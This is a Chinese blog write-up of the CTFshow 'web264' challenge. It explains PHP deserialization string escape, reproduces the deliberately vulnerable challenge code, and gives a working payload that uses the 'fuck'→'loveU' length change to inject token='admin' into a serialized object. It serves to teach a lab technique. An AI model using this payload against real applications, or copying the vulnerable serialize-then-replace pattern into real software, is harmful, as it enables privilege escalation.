13. CTFshow 反序列化 web264

PHP反序列化字符串逃逸,不难,但是有点绕。奈何自己太菜,又不懂PHP代码,磨蹭了半天,才搞懂。如有不对的地方还望斧正。

一、代码

index.php

<?php

error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

<?php
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

二、解题步骤

新学习到的知识点

  1. PHP反序列化时,底层代码是以; 分号作为字段的分隔,以}花括号作为结尾,并且时根据长度判断内容的。
  2. PHP反序列化字符串逃逸:类似注入,通过拼接,提前闭合这种思想构造字符串。
  3. 个人理解:使用payload进行提前闭合,但是提前闭合会缺少字符,这个时候就需要用到字符串逃逸来增加字符。

理解如下:

<?php class message{
    public $to='1';
    public $token='admin';
    }
$msg= serialize(new message);
print_r($msg);
//O:7:"message":2:{s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}
  1. 比如正常值:O:7:"message":2:{s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}
  2. to的值:s:2:"to";s:1:"1";to的值长度和值都是1
  3. 如果这个时候我们把to 的值进行提前闭合。(也就是用payload进行闭合,在考虑到";} 三个字符)把to的值进行替换1";s:5:"token";s:5:"admin";} 加上三个字符,长度正好是27位。如下:
<?php class message{
    public $to='1";s:5:"token";s:5:"admin";}';
    public $token='admin';
    }
$msg= serialize(new message);
print_r($msg);
  1. 序列化之后的结果:O:7:"message":2:{s:2:"to";s:28:"1";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";}
  2. 仔细看,tos:28:"1"; 的长度是28位 但是它的值只有1位 ,缺少27位 。如果这样进行反序列化时会报错的。
  3. 想一下,to 的值是1 ,如果1 变成aa ,这样的就缺少26位 ,如果有27个1 ,那么就不会因为缺少值而反序列化失败。然后就会正常读取到payload:s:5:"token";s:5:"admin";}

回到代码

  1. 获取flag前提token='admin',题目中的值是user。还有$umsg=str_replace('fuck','loveU',serialize($msg));,将序列化之后的fuck 替换成5个字符串长度的loveU (这里和1替换aa是一个意思。),然后在将反序列化的结果去比较token='admin'

三、payload

<?php class message{
    public $to='1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
    public $token='admin';
    }
$msg= serialize(new message);
echo $msg;

echo "\n";
//替换前后的区别

$msg = str_replace('fuck', 'loveU', ($msg));
echo $msg;
  1. 替换之前结果:O:7:"message":2:{s:2:"to";s:136:"1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";} ,长度是136,实际长度是109缺少27个字符。
  2. 替换之后结果::7:"message":2:{s:2:"to";s:136:"1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:5:"admin";},长度是136,实际长度是136,不缺少字符,可正常反序列化。

学习连接:https://blog.csdn.net/weixin_45669205/article/details/114163197

posted @ 2023-02-03 11:52  LuckMeteor  阅读(227)  评论(0编辑  收藏  举报